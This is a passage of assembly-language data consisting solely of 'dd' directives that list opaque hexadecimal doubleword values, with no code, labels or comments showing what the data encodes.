		dd 5192B64Dh, 81CA4DCh,	2B0B2167h, 965C705Eh, 8465E90h
		dd 3812FE01h, 29D8759Ch, 507200C4h, 8B925B24h, 0F86100D6h
		dd 0ED15E0E7h, 0FD602A21h, 54F3DC61h, 0A57F0185h, 0BFD5B817h
		dd 3471D4F7h, 4A9C1E01h, 0F495FCCCh, 8DF8026Ah,	0D808915Ch
		dd 5406CB3Bh, 9891422Bh, 5BB42E34h, 414B4264h, 16F95600h
		dd 0A93025EFh, 6A60106Dh, 98AD8BE7h, 1B520222h,	4C94CC7Ch
		dd 3B97245Ch, 204B9822h, 60AA2DB2h, 41EA9600h, 1B8AEBCEh
		dd 0ABA92678h, 9E0409E0h, 0F782A854h, 2FA6453Bh, 5325D702h
		dd 370588D8h, 0A774517Fh, 3A41C90h, 2E71F1Dh, 41750C7Ch
		dd 64970419h, 91A5A05Ch, 8CEA042Fh, 0B1B32D3Eh,	548C2EDCh
		dd 0AC48023Dh, 5277A6F4h, 81B68CCBh, 0C47A120Bh, 3DC46035h
		dd 79D5FC7h, 0F1A73764h, 2B2B08EEh, 8D2F44CDh, 7840A5B4h
		dd 0B7322594h, 0C6002871h, 0A66551AAh, 0D0B6BD08h, 0AADF0515h
		dd 0A9430688h, 0A18989Fh, 3F6602FDh, 0A7314348h, 1A6FC4EEh
		dd 734A0890h, 604ED021h, 291BA73Ch, 76BF9514h, 0DC52F720h
		dd 9D042135h, 2AD828F4h, 774E54B3h, 8514E8C3h, 92D94A8h
		dd 5F06068h, 0F24EBB12h, 20DC44F4h, 0C7F24CA4h,	1A72C92Dh
		dd 0C218FA7Ch, 0AEDF0208h, 0F9B2349Bh, 0D3DF0E8h, 0D9711969h
		dd 0DF838040h, 9E4E7D9h, 1C9DF283h, 0F2AC50C4h,	7CA80880h
		dd 56E0F1Ah, 0CDA3B3F5h, 6968FD8Dh, 7BC550C1h, 60CA8C32h
		dd 492D3D90h, 4109CCFCh, 0C0741686h, 5A250C23h,	9684B0B4h
		dd 54D6238h, 3792F876h,	7BC1CACh, 0AF33018Ch, 8DCBC35Fh
		dd 7C83F250h, 0E8B52B6Ch, 8C5AE848h, 7DCBCE00h,	1B92AF66h
		dd 68EC59D4h, 2641DB0Ah, 0CC44EF4h, 0A688F04Fh,	19647930h
		dd 0B831013Eh, 6B1822ACh, 97CFECA1h, 0C4202721h, 50117CBh
		dd 7368BF06h, 94D8FCFCh, 0C7B725F8h, 605BC45Ch,	181371Eh
		dd 0A6F8B71Fh, 8491C255h, 86B4A5D8h, 69307CB1h,	486A4889h
		dd 0C177024h, 75B11F4Ch, 8A8308E7h, 0D0B0EC07h,	928FCED4h
		dd 15C0F23Fh, 16E40C28h, 5425C486h, 78053CF2h, 8007CAFEh
		dd 75B7CB1Dh, 0CE109101h, 5887ABA4h, 1FCFAECh, 63E5A5B4h
		dd 2B52724Ah, 4501E86Eh, 0EFEA5064h, 7003D0F7h,	48B07505h
		dd 0A4A02304h, 0BFF7382h, 0CE544D7Eh, 0C57738C8h, 0B743B425h
		dd 0A5023D18h, 0E0D47B92h, 0C0B0A450h, 387EDEF5h, 80872608h
		dd 8BBD9F48h, 300DC3Bh,	0ADBC99AEh, 7E89D94Ch, 0CDDD0F4Bh
		dd 9B0238C6h, 1C493A73h, 85261162h, 800F1510h, 0E71A7F00h
		dd 2C6A7CF3h, 38F57FDAh, 9201D1C3h, 609E1793h, 0FCE180FFh
		dd 5653FAA3h, 51A960D9h, 3CCD41C9h, 9836306h, 7419E372h
		dd 0C2D0FB3Dh, 41FA60F8h, 3AFF2346h, 304CCD30h,	883FD897h
		dd 2F13F89Bh, 58C37A3Dh, 90A9BEC2h, 19D564F8h, 80D43279h
		dd 0FF0302CCh, 0A3442F85h, 0B4450E7h, 0C1E82B63h, 6C16D06Ah
		dd 7C02E507h, 0D871B281h, 0BE72FA0h, 3E540881h,	5CF849ADh
		dd 3C0E02D8h, 8903FE57h, 0F684E8AAh, 4619007Bh,	71A67C87h
		dd 0FD1C8536h, 0C8C01355h, 762D7FAAh, 61BF00F0h, 7773502Ah
		dd 3A02722Fh, 953D9AE0h, 0F40255ECh, 0DB306E68h, 0E9F56FD1h
		dd 463BC100h, 6007C056h, 4721157h, 0D4F46299h, 31F80270h
		dd 9851A688h, 847B7CF0h, 6B247F11h, 0B9291210h,	0B311200Eh
		dd 0FCC88125h, 0C3001687h, 35013ED2h, 37CA6390h, 0C2C382Bh
		dd 2102EC42h, 2073B06Dh, 4FF92044h, 0BABC8004h,	0E7A453h
		dd 0E5AE59B6h, 0DDAD3962h, 0AC28B175h, 42010CD8h, 0A3DCAB40h
		dd 0FACFA463h, 51B60053h, 64F0EBA2h, 3EDCA73Eh,	0FDD3E63h
		dd 47E9A067h, 0B8C0A310h, 74E6AB55h, 0EAB100B2h, 0EBA86762h
		dd 0B33010AAh, 0E6A528DFh, 55C72AEh, 0A65EABEEh, 0E43BC97h
		dd 0AB1EB5DCh, 0AD8880CBh, 6962E2h, 0FA70ECAEh,	104F814Bh
		dd 50975F3Eh, 0AF631804h, 0E4B26380h, 0C3918F80h, 5F330C6Dh
		dd 0AB79B0E6h, 71CF6378h, 18B98DA3h, 0E7E115D3h, 0AB0708BBh
		dd 0C052B2E0h, 6854B4D8h, 806338A3h, 0C8A7CD88h, 40B1E0B2h
		dd 10037F5Eh, 0FD4CEA64h, 53E80681h, 3890C0AAh,	1562B40Ch
		dd 0A03340A3h, 5BA5A0h,	1096CC8Eh, 5467977Ch, 92844900h
		dd 8BDAAE62h, 2DE1CE3Eh, 78A69C86h, 9FB4C73Dh, 4450C6A2h
		dd 8307DBC8h, 8871ABEFh, 0A62C5h, 0B6E0B735h, 0F9CB943Fh
		dd 401F961Ch, 423EE5A8h, 0ADF801D2h, 2B6E8C38h,	811D2C48h
		dd 0EE02C47Dh, 0C8446E1Eh, 0B9522334h, 19DA8D54h, 41A13860h
		dd 24046E2Ch, 96577EE0h, 48424844h, 7BF77605h, 980BCEBh
		dd 496FB0D4h, 0DCF64F90h, 0FCCC05E0h, 262C16AFh, 45EF60C4h
		dd 0CAF88350h, 0D3D5904h, 0B41D7Bh, 71B32D9Eh, 45690CE9h
		dd 0F004C32Ch, 9CAAB808h, 0F4EF0A6Dh, 0D776097Ch, 0D6659C5Eh
		dd 0C0586819h, 995C7509h, 40D17660h, 0D0CD1470h, 78089459h
		dd 0F4716EA4h, 59AE230Eh, 0EE230EB3h, 210E6559h, 0C3052C0h
		dd 0D98043BDh, 4F499E1h, 0EE244F34h, 290CBC22h,	4891EC02h
		dd 53FC4D21h, 0D484216Fh, 39BF0088h, 70B0BA3Ah,	7D00E92Bh
		dd 0B09654D4h, 24940200h, 398239C0h, 0F04A13B3h, 3A837DB8h
		dd 6A21AF80h, 204CC11h,	0E455DDFh, 0CDC4E273h, 0ABFC61F3h
		dd 8D85AC57h, 923A2445h, 55C74CF0h, 0DCE0985Dh,	888EE9E4h
		dd 0CA6005FAh, 0B875CB7Ah, 14C9B0A8h, 0E9C540A1h, 79D97097h
		dd 44A30491h, 0B388D410h, 0D34FDCA9h, 0FC7330D0h, 22764A84h
		dd 3D21A7B8h, 41A8C32Dh, 91B46D04h, 0BC19D618h,	4386BB0Ch
		dd 0A1AB22ACh, 8B18A21Ch, 0BB044893h, 0A9136B06h, 0A915C3E8h
		dd 0C44023B7h, 5955690Bh, 209C28E0h, 0A8258B74h, 0C99C9878h
		dd 92D2C38h, 2710D4A0h
		dd 0D72E4483h, 2A9B86E4h, 4D0621F1h, 307164C0h,	0B2A312E0h
		dd 0D7340C43h, 510C4120h, 484A39A0h, 0D803F16Eh, 43472820h
		dd 98F1F2E7h, 0B8A05050h, 21E960E8h, 82DEF47Ch,	285881BFh
		dd 188C2EF1h, 26394ADAh, 0F8419160h, 0C34EF108h, 0E2F42B18h
		dd 0C886390Dh, 5FC051D9h, 1251074Fh, 57A24717h,	7382FB02h
		dd 0CE859C07h, 250484FEh, 32A482ACh, 0CD89A0FCh, 0C4801075h
		dd 0CB4C068Fh, 2138FC4Eh, 970184B0h, 2144676h, 19A81161h
		dd 9BB31200h, 10041C4Ah, 51C7075Eh, 40C08AF1h, 0F837C249h
		dd 0D3CA0743h, 1A4FC66h, 80A5EC9Ah, 0DD99F208h,	263B8CEh
		dd 4EB04C7Ah, 4CB84BFBh, 423E7804h, 667C1448h, 30E29FE0h
		dd 0BB488F44h, 0F0C15ABFh, 28C68719h, 115DAB12h, 0D422FC68h
		dd 4908C801h, 2F755152h, 6F01C00h, 0BC118FFDh, 34CD6044h
		dd 88E87F63h, 78073F4Bh, 0AF490FC7h, 0C8088254h, 43E07E8Fh
		dd 0A18DC4B7h, 0ACC8E218h, 0EF769DCFh, 0DA059B06h, 127076E2h
		dd 0A080F79Fh, 0FD8873F8h, 0B1F60091h, 2840A0B8h, 2095D943h
		dd 0A01EAD8h, 3BAAE6F3h, 221DC205h, 449C284Dh, 0FA058C43h
		dd 0D5C78707h, 10FC9046h, 52CD4410h, 9DCA023Bh,	0BC4196C4h
		dd 2B3771F8h, 9A0EEC3Dh, 0FF8BB6BFh, 8A74CF8Ah,	9EBC9CD7h
		dd 0AA017995h, 611A2402h, 0EE798052h, 15491723h, 1834FC72h
		dd 0B076369Ch, 0C11212C4h, 2C08B94Dh, 0B3CD832Ah, 4097D09Dh
		dd 0A7E3329Fh, 0F2ED7902h, 0A08927F1h, 0B37423C0h, 133A0369h
		dd 1482E9BCh, 385AC382h, 111CC149h, 884529FCh, 0A31021E1h
		dd 313A5B3h, 0C0EC991Ah, 0D43F1914h, 0A8098389h, 60AC6044h
		dd 87C4801Ah, 0F8644021h, 2884987Eh, 0E00CFC7Dh, 52D94E7Ah
		dd 1E1CB364h, 7CC130CDh, 1285E359h, 41471860h, 7B1418B7h
		dd 41F538B0h, 99CC430h,	0D22A79F1h, 9020C6E8h, 511602h
		dd 7B4AE9CAh, 0A2FA83B9h, 0EBBD0904h, 3E4046D9h, 0FF6727Dh
		dd 2B884001h, 0E1C48736h, 99260422h, 7A282168h,	4B6AA041h
		dd 82478E28h, 81CB75CAh, 2B83892Ch, 9C684F2Eh, 6804A42Bh
		dd 0F815E49h, 4F710376h, 4847B4CCh, 27881CC0h, 0A0D09A60h
		dd 80012E4Ah, 840F8A88h, 546B4E98h, 5137F091h, 844590Ch
		dd 9920865Fh, 50D83051h, 944E3889h, 28073900h, 0D6B7D5E0h
		dd 5FA7EB8h, 96BEF67Eh,	7C7CF45Fh, 9FE45602h, 787212C0h
		dd 0D6990A74h, 6C7651h,	7D07F79Eh, 0FE0048FDh, 0C3D86165h
		dd 0C1D035B7h, 3364D20h, 117C62AAh, 0F008B26h, 81BF7F4Fh
		dd 76605AB0h, 8AEE339Ch, 0A9540094h, 9F3AB23Ch,	0DD909BCEh
		dd 0EF9CD801h, 0ACF4B073h, 2CF8E0h, 5365AE54h, 0F6A3271h
		dd 6F7A9800h, 79EDBC3h,	885E4E12h, 1A0F5430h, 67D58D3Bh
		dd 284C700Dh, 606D003Fh, 0DE5FC03Ch, 7B5A717Eh,	0B54708C0h
		dd 8CE7875h, 7DC1FF51h,	73C6CA6h, 715427D5h, 1A8CA360h
		dd 0C3DD0777h, 40F1A6D8h, 6CC166B1h, 9200FDFEh,	0F865DE08h
		dd 40E6C53Bh, 0D4DC476h, 97320040h, 8FD7CA15h, 0F8E50092h
		dd 98A93BEFh, 0DB009486h, 6F819CA0h, 3A8D1F50h,	4CB9B292h
		dd 0C2FF59Dh, 87307511h, 31596A1Dh, 481FF91Eh, 0BF19603Ah
		dd 38B4FF2h, 317E526Ah,	2800BB64h, 49B4DC8Ch, 6FB21Fh
		dd 4263F991h, 7B5AADD7h, 0D36A4E18h, 58F040h, 0D95590CAh
		dd 249469CEh, 0FA0091E6h, 7E1F2002h, 2F39E30h, 33BD954h
		dd 84429F62h, 0A523201Ch, 79990041h, 0C1058BAh,	74AF0418h
		dd 7FA9B9h, 8C1BCE28h, 9C051350h, 0A57E7575h, 0F93D1A07h
		dd 0E91C9386h, 129900E7h, 0B3851E1Ch, 3D651637h, 0A840EC08h
		dd 0B512A1D0h, 943C0007h, 1D552869h, 0DAE84A79h, 0B91C0200h
		dd 0C413885Ah, 0FB6E1434h, 4478A472h, 0C360104Ch, 0A75F908h
		dd 0D305007Ch, 0B3A2F201h, 59002281h, 8553F5D5h, 0A2F91E1h
		dd 94C3FC69h, 681488C8h, 49DC118Ch, 99C21F6Fh, 457D807Bh
		dd 84CC5730h, 985B9F07h, 706AF93Ch, 1E12874Fh, 0EB62B514h
		dd 12A7D620h, 0DDB0B4h,	0EC4D55BEh, 0C030711Eh,	314C2513h
		dd 1375C09h, 950C5814h,	0AEC12D03h, 1018B0F7h, 0BE2C5Bh
		dd 5D2AB28Ah, 5CD2BAD3h, 21C043E8h, 0EABE23F4h,	85A10175h
		dd 78981B77h, 0E7D186D4h, 91E3ADh, 2B79DA0Eh, 6E5FCE72h
		dd 0F896342Ch, 4CE4F507h, 0D4809FE0h, 0C414381Ah, 8B83B29h
		dd 9B803C12h, 1E8C7A54h, 58A754FCh, 1F3D8CA9h, 0A8B234BEh
		dd 80425848h, 0ACBDD6FBh, 8F06F0D8h, 71BEBA97h,	0E8A20161h
		dd 42DA8169h, 8070F11Ah, 3FA05D19h, 1C887C36h, 94A6BA41h
		dd 8523C838h, 1D12043Eh, 0D538AD1Eh, 5412AE00h,	83702338h
		dd 59B809BCh, 0A9801999h, 0DE72F7F0h, 519BB732h, 98CC8E27h
		dd 7FBBB9h, 1D0B7401h, 0F35F5C35h, 81047738h, 17BF7BCFh
		dd 0B1834B88h, 0F1B273F9h, 0C8007978h, 3352CC48h, 3096ACD4h
		dd 1D29E110h, 0FE00DA98h, 0FCE77929h, 1991486Dh, 0E0AC81F4h
		dd 89A1889h, 8D1E1912h,	1FA2D170h, 0DF7C8712h, 69AE4125h
		dd 48BD9963h, 7700E6B0h, 7B358E38h, 607D9739h, 0CC7989D2h
		dd 5E379C86h, 98C0F136h, 0B802C2h, 489FFC52h, 3F8C0140h
		dd 94B99B28h, 36798463h, 0AF0AA097h, 5969C0FDh,	0F02D748Ch
		dd 93579B0Eh, 6C085978h, 84382187h, 5ABE2074h, 0C41219A4h
		dd 38012617h, 11203B7Dh, 18CF4C40h, 5C992654h, 99FC1D9Ah
		dd 9CCD08F7h, 3D9621h, 0A2667C43h, 14CE4961h, 64274644h
		dd 8CA75050h, 8D08BEF2h, 645D22B2h, 24F5435Fh, 0E3C5D8BEh
		dd 3E810451h, 0C259A044h, 0DD115D18h, 0DF670510h, 2FC2271Eh
		dd 5180BFC1h, 298069BEh, 86AF228Ah, 5E1FBC43h, 0B6C1288Bh
		dd 0D12EA393h, 18F6FADCh, 31FE124Bh, 733D5A9Bh,	578B8F1Fh
		dd 0E352E297h, 41586896h, 39D41D38h, 0EB30FE5Eh, 0C113B419h
		dd 8EF741C0h, 0A1BD4764h, 1D1825A4h, 5CA65404h,	952CF307h
		dd 7601057Ah, 976710A9h, 5702EE6h, 6E9D02FFh, 0E8E1744Ah
		dd 619370C1h, 1770304Ch, 9249E600h, 0A52178BCh,	223CB028h
		dd 22CEA12h, 0AD087070h, 0CC8D805Dh, 2FF6240Bh,	1898E324h
		dd 0B07C1E82h, 60004067h, 0C7A300DEh, 2D8831C1h, 4898038Ah
		dd 0A580C22h, 82A8E027h, 0CB027820h, 0D14C998Ch, 0F07818E2h
		dd 0C12D0092h, 0DEBDBFBCh, 6F125D6Bh, 78082EA5h, 744FCE0Bh
		dd 6293F084h, 9F392062h, 0E709C774h, 31B7CD6h, 92CFA0h
		dd 34BB3191h, 9FC62757h, 76026F70h, 1554CC74h, 804064D7h
		dd 0C00B9204h, 0DEAF2711h, 5C00DB3Ah, 0BF141CF1h, 2E11CCB3h
		dd 20DCD8h, 0DBD58F4h, 9EF8D94Ah, 3B57F60Dh, 9CE14097h
		dd 8BFD3821h, 171C60DCh, 0FD949CFh, 50311340h, 38A397F4h
		dd 6138F806h, 1820B9C7h, 9876FC98h, 1E0010EEh, 5875EB8Fh
		dd 0B27968h, 8E85FF04h,	0B65C9F92h, 0BEB11F00h,	8ACC1C31h
		dd 0B898F3h, 92E68914h,	0F695255Ch, 89202833h, 15510611h
		dd 31867C1Ch, 61CA1206h, 1D80B697h, 2E2E48F0h, 0FB21F64h
		dd 3C90D4EFh, 18953158h, 0B4ED1171h, 8377AE00h,	0EBC7DE01h
		dd 0C987413Bh, 484F9448h, 380F5CCDh, 0EA06EFA6h, 0CE0610F0h
		dd 68AF3A11h, 4052F870h, 0F64CAC87h, 4F98AF0h, 891026D6h
		dd 0CFC8954h, 0BE130821h, 409447B6h, 873EA2ADh,	0C639000h
		dd 0DFC72F8h, 0EE0306C4h, 29B3C612h, 4D113942h,	61220Eh
		dd 7FB7B652h, 0DDA5B178h, 709023Eh, 0E9EBA738h,	5545CEA0h
		dd 440F000Dh, 0B4672DE2h
		dd 851E834Eh, 2B402915h, 30B893E9h, 6A6F0741h, 0D50FFh
		dd 0A3478F64h, 4452D800h, 0C6C5B243h, 0F8E60015h, 0A14656Bh
		dd 991889ADh, 0BF14FC2h, 4D570048h, 9ADAA4BEh, 0A0006C8h
		dd 0B51BDD98h, 0B693902h, 0CF9F5F41h, 19C0BC8Eh, 5C4743C6h
		dd 2BD5C20Eh, 5992C678h, 48621151h, 99747F56h, 0C04B9801h
		dd 4CA3A1F3h, 7D5D1880h, 0F216E5B6h, 0A5D26C03h, 0E893CCBFh
		dd 4813DA9Dh, 0F7BD3FFh, 0D4C7547Dh, 68822900h,	801F142h
		dd 0DAD8CFC9h, 0D4309EF7h, 0F4DB00B7h, 0C3CCC413h, 9F01622Eh
		dd 0C8056C64h, 8040AFC7h, 7F887DCh, 5407D9F9h, 0B39FF152h
		dd 0F494D4F1h, 0BECE2D00h, 0DFD5E624h, 0F60B0047h, 0FE5E143Dh
		dd 70711C0h, 4C8BC47Bh,	0C206140h, 161A0097h, 0A633FACh
		dd 0C100F0DFh, 13EE3FEh, 3A53674Fh, 0FA9CE164h,	0DF8687F8h
		dd 0C1B62190h, 0FC288076h, 0E186967h, 83B700E4h, 512CE15Ah
		dd 0C700B8A9h, 0BF584F53h, 4A3B378h, 3E397228h,	0D854905Ch
		dd 6F002AAAh, 0FED60643h, 6863E5h, 0A11CE7E3h, 0B980B2E1h
		dd 0A472411Ch, 544601C0h, 0C4995Ch, 8C6DD5A2h, 0B93D1AF2h
		dd 4B0018E2h, 2DEC0B21h, 711728h, 0E96B4987h, 0B9CFB1B8h
		dd 4329F260h, 1C62A28h,	0BA1B4B0Eh, 0F8093141h,	947610EFh
		dd 92B43D03h, 1D5FB1Ch,	87ECBA8h, 0F062B389h, 0DB1E116Eh
		dd 3CC0C3B7h, 0AE655B5Ah, 273E00E2h, 0BECF5714h, 0B4007B64h
		dd 1619DE98h, 403B04h, 0C093EB43h, 0AB632F9Dh, 7B49D8C0h
		dd 501C3754h, 91828835h, 0CD664078h, 75782D38h,	7CC39503h
		dd 90C94754h, 1F046E8h,	2E62269Fh, 84B7AD67h, 14EBB230h
		dd 7AB3E200h, 321F0754h, 0C4405349h, 0C2FD7B72h, 0AF9007Ch
		dd 1858A2Ch, 56032E0Ch,	4264706Eh, 557DE082h, 9318C007h
		dd 9CCA46B5h, 3C8DE704h, 9080FF03h, 4131CFCh, 91105528h
		dd 0EC9F804Eh, 5CB67FD2h, 0C1CD1600h, 7EBAD79Eh, 310EE4Ah
		dd 0F2A002A6h, 5EA8A308h, 9B006D65h, 0D5BBE1C6h, 0A9E433h
		dd 62A673BFh, 0CAACA168h, 0DB381301h, 0C5FE7D6Bh, 8C10BF21h
		dd 0FC8BD9h, 49BBE9C9h,	0ED3F403Ah, 7941100h, 6015B4A6h
		dd 0CEA400ABh, 0B71F2383h, 0B900BE78h, 0DC506573h, 1D014DA6h
		dd 80EA1328h, 15B6F181h, 23773C5Dh, 0FAC6813h, 0F58C4400h
		dd 610E89E0h, 566D1010h, 609AF91Dh, 0C50E9EBCh,	80A8AFC8h
		dd 0B7C0B204h, 5F3600F9h, 0FE4B5175h, 9D0FECFDh, 20BD198Fh
		dd 106ECBEFh, 580E0038h, 0EE4FF228h, 79006F9Dh,	0B55C2DD4h
		dd 7EF8BCC5h, 5D1748AFh, 8B30D00h, 10326DF4h, 737E5D03h
		dd 0AF457Fh, 79CCCA19h,	76249FB1h, 331E3507h, 0B8A06994h
		dd 3EBBE60h, 634570BFh,	0C6D02A20h, 6B002165h, 44F037D0h
		dd 7B98A6E1h, 0D2031E25h, 0A754F35Bh, 508A6CE0h, 0B92B9C00h
		dd 97C1BDFDh, 0E527530h, 1D49D936h, 8ED1AB20h, 4E1CB6FAh
		dd 0AC0020BFh, 4FBCDBC9h, 4951DBEh, 5124474Dh, 0FD2008Ah
		dd 0DC16BF1Ah, 0E2002E25h, 8DF64983h, 173F0F1Bh, 5843CEE1h
		dd 18E0FD7Dh, 893C8A02h, 609480BFh, 0D1D778BCh,	1CDFE04Ch
		dd 8182E2DEh, 665F631Ch, 4211803Fh, 7C3BBDD0h, 0CDFF09D7h
		dd 38A0C844h, 0CB66C4F1h, 7D044207h, 0BC1121DAh, 98202BEDh
		dd 29C967B0h, 6826718Dh, 47DC3030h, 0E22A1007h,	10FCBFF6h
		dd 0F03400A7h, 85C89CD7h, 0C716C5A4h, 40F921h, 0D0893C1Ah
		dd 45551E0Ah, 7E8D803Dh, 2D0F59A8h, 213D72Eh, 0DBFACA00h
		dd 0D3915Bh, 5E76AD6Eh,	0B8991CF2h, 2475A404h, 2FC05014h
		dd 2C6264B6h, 9E4CC2ADh, 2986C93h, 26DABAFBh, 46BB34C8h
		dd 12867400h, 0E725E62Eh, 0EB0EEh, 23BC7F96h, 4116606Dh
		dd 73CBCE00h, 0EBB43BE4h, 7E56090Bh, 4880A0DBh,	0EF0D23A1h
		dd 192D5F00h, 3E0484D7h, 9F50268h, 0E89FD2B2h, 0AA658080h
		dd 0F600E9E1h, 2C415FA3h, 9862B1BDh, 0CBF204E0h, 805E19E0h
		dd 18557569h, 0EE661400h, 36FB93CFh, 169D7EE8h,	27A05210h
		dd 0B3688004h, 89B8754Bh, 0A41CA900h, 3AA3047Eh, 0C97D0066h
		dd 0CBBCC29Eh, 75EAE001h, 244DE500h, 0A12E781Bh, 0FCDA003Eh
		dd 0A6BEC1F9h, 7F50D0CAh, 0E50090B4h, 9CCB456Dh, 9ABDD73h
		dd 882576CFh, 0EEB23C48h, 89B8901Fh, 86228380h,	5A28CAFh
		dd 0D8B18075h, 0C81AC02Eh, 54034FCFh, 665973BBh, 8162D121h
		dd 7275B0FFh, 0F9111C15h, 0F090087h, 1338F29Dh,	33FEB101h
		dd 2F46A420h, 0F08376C1h, 2457A3F0h, 53B5F2A0h,	7EECFC54h
		dd 1036FA00h, 1E1FB365h, 0E801E845h, 71542513h,	0B14E820h
		dd 0C207B0D3h, 0EAB28B5Ch, 3C357741h, 0FA3E20BCh, 0DE243003h
		dd 0B7C0D949h, 0CC6283A3h, 0A0775428h, 0B2D31524h, 6F18C0CAh
		dd 4991C1F3h, 92E9C600h, 0D73E1633h, 6B2818E0h,	0B28541A4h
		dd 1577B413h, 54707897h, 0E4756FCh, 66EEA4F3h, 4034998Ah
		dd 3EC159BEh, 1A448701h, 5F221E6Bh, 695C813Eh, 0DBF8C707h
		dd 7200F809h, 311B76D2h, 25BE3AFAh, 6402D817h, 77013208h
		dd 0D880D7C1h, 0F0538292h, 0E7003E3Bh, 1091689Fh, 0C28A69FDh
		dd 4A265A28h, 9427B604h, 6A094484h, 48243D44h, 8047805Ah
		dd 85213087h, 86D5E501h, 1BFF606Bh, 0F2DC2271h,	261500B0h
		dd 4BE36B4h, 1A02845Ah,	7C673BAAh, 0D95440CFh, 0A9760179h
		dd 97A24735h, 0D76C60E3h, 648A1A03h, 0D9AC6FA3h, 0D0E0BCF0h
		dd 10F0B20Ch, 67D5201h,	0D6E71C34h, 6B140F19h, 11F86E57h
		dd 4BAE6B1h, 0B3E725h, 0C720D344h, 1741FA15h, 30958h, 4D5A48C3h
		dd 160024BEh, 60367886h, 8E4054h, 90C1B8ACh, 7DBEA753h
		dd 6918390Eh, 50C800Ah,	8FC02Dh, 0CFE401F1h, 92CD7921h
		dd 477BA500h, 0DAB8FE44h, 28B6008Dh, 0F4CABA30h, 0C77D543Bh
		dd 6138E900h, 4649DCEEh, 9125031Dh, 26C1A4EBh, 0C52D83A7h
		dd 2048A792h, 747775DCh, 0CA714F02h, 0E818AD15h, 63F10h
		dd 9AC5815Ah, 0DDFC0C6h, 7117E475h, 0F00041E1h,	3A852244h
		dd 0FD7000D7h, 0CE9ABADDh, 0FC9081ECh, 61E1AC0Eh, 0E7921E4Eh
		dd 0E400D917h, 0BD51B4BCh, 8D521D95h, 0CD2A4015h, 0B2383022h
		dd 0AE323100h, 0ED7AB455h, 0FD6B05AAh, 1F39F18Bh, 3886C0BCh
		dd 0ECE5097Ch, 5F461A01h, 91A2C1EDh, 0D83875DDh, 86D9F400h
		dd 0A8F26662h, 0A996E8A8h, 142FB00h, 9364248Bh,	0FA3602E3h
		dd 48117785h, 0F4A7ECA0h, 0A500BEFDh, 0B2F31E06h, 39FB5F13h
		dd 0B0F0F0Ah, 8AA063D8h, 11D7FAE4h, 0D6C12400h,	6B079ACCh
		dd 5E1800C7h, 0C2E66099h, 0EEEEFD84h, 6E4D5C00h, 0A11335D3h
		dd 0DEEF0E37h, 2F600214h, 8272D750h, 0FECAE400h, 1C3E964Bh
		dd 2D94A0CEh, 0C2F0E11Bh, 34F73E85h, 8DCBDC80h,	0BCE3AABFh
		dd 47556200h, 76DA27Ch,	0F3DA05D4h, 801DEA1Ch, 51D5B224h
		dd 0F7EB9D00h, 701649F4h, 0D995005Ch, 939E6BECh, 0DA168A66h
		dd 3E34A3h, 46ABC88h, 0FD6CC582h, 0A1205052h, 11C4B14Ch
		dd 1320FC44h, 0F4B923Eh, 0BFE07A73h, 90AA33C8h,	0B4FD3Bh
		dd 0B9ACA7Eh, 50BAA6D0h, 0B037D841h, 0FEF080D7h, 0C0A95D7Ch
		dd 0DD113D00h, 782BB6B3h, 8020D969h, 997C94A0h,	0A5100C2h
		dd 0DD9E22A6h, 35020196h, 0C4C61C3Dh, 3858D3h, 5140A683h
		dd 36EAAA6Bh, 0F03CA0Bh, 9604808Ch, 0D61D62h, 0DCDEC6BAh
		dd 0ACF6E6AFh, 507CB307h, 0BBB05106h, 10B7463h,	0A618DBA4h
		dd 40ACABEEh, 1CB391CCh, 50DA49h, 7B6D97E8h, 0E4464A81h
		dd 13AD00FBh
		dd 457FAF31h, 3C0E9326h, 0A0638B06h, 1EF3A83Fh,	414707DDh
		dd 1009170Eh, 5BC21988h, 0C402B9C9h, 40B0098h, 7B9B510Ah
		dd 0D912992Eh, 0FC80A278h, 7981403h, 261CC035h,	40A414Eh
		dd 0F9ADC78h, 0A5C2641Dh, 84A8817Fh, 90722901h,	0E81474h
		dd 23A4B07Ah, 45CF3A77h, 7151E0Eh, 269D6085h, 0FA083F99h
		dd 0B88E0075h, 0D172541h, 0AD3E35AFh, 6C5F80FDh, 0F775534Dh
		dd 3E6A17D0h, 7734C1A8h, 1C984009h, 39000216h, 94EEECA2h
		dd 553FCBh, 31DA6E0Dh, 4E9F9369h, 78B8900h, 0EA28FF2Bh
		dd 4C5E0094h, 0D8146F4Dh, 0C60EDC24h, 1163483h,	1F2A7364h
		dd 0FF18E1F0h, 4EC6ECAh, 0E642535Fh, 0A0E4D4DFh, 1C9A47CCh
		dd 0BD0D2D00h, 0A717943Eh, 4C0009Eh, 82A4575Eh,	6E00320Eh
		dd 9C764E1Ah, 5CECB41h,	8F4D5DDDh, 0C050D43Ah, 523626A5h
		dd 0CD921600h, 0B697CD2h, 1400DE3h, 0F0691242h,	1E06C3C4h
		dd 6F3ED0A8h, 106E00A1h, 0F52F0D35h, 0CA00E8CCh, 0DEFD36D9h
		dd 3025C484h, 11412B6Fh, 9FE6E129h, 0A41F3175h,	0A4D3D55h
		dd 1DD0214Bh, 59D160ECh, 0B7586611h, 80C4A538h,	0A8FAFE22h
		dd 2061FBFh, 937D56E2h,	9440C389h, 9E02674Bh, 0AF766F3Ch
		dd 1605810h, 0B292010Fh, 207963C5h, 500402Ch, 2FB01730h
		dd 0F9B31BAh, 47E087D9h, 8B7F6E20h, 5500571Ch, 5CF6C4C5h
		dd 7AF0E9h, 8EB6FD1Eh, 0A577A9BFh, 85EC5274h, 24DDDA00h
		dd 0CB060B4Dh, 18980Fh,	83D694ABh, 439DEB2Dh, 377A712h
		dd 19384C40h, 7AB13C9h,	9F19F15h, 645FE140h, 0DD6060C3h
		dd 0A16F6900h, 3FE26B1Ch, 46150022h, 0D83B842Dh, 0DA16018Eh
		dd 5400DCBAh, 0F42A070Fh, 1C6098AEh, 85CD45B0h,	42C3E60Bh
		dd 0B98B23A0h, 249304C1h, 9A000EF4h, 62BE46E1h,	104C91h
		dd 3124F352h, 6CEDC41h,	0EC443D00h, 856D9AC9h, 0ED323902h
		dd 5B53D303h, 0A28B610Ah, 0F6C10898h, 35F0D261h, 56D1630Fh
		dd 0E8961180h, 4BAE79ACh, 0FC198900h, 0C7F1D04Fh, 24313F85h
		dd 88CF0B95h, 5C95F20Eh, 728073E0h, 0F53CEAADh,	0A9C1E061h
		dd 165F4CD6h, 1FC59BCh,	904176BAh, 26842866h, 0F4602460h
		dd 0E215D5h, 781E9205h,	973D1B4Eh, 1A0749B8h, 0C2E102CBh
		dd 9A6BBCC0h, 80506103h, 409745EFh, 0D6686FB2h,	0ECF44A00h
		dd 0BF034E18h, 0F05E0FE8h, 0D4E077FDh, 0C36981E7h, 808AE000h
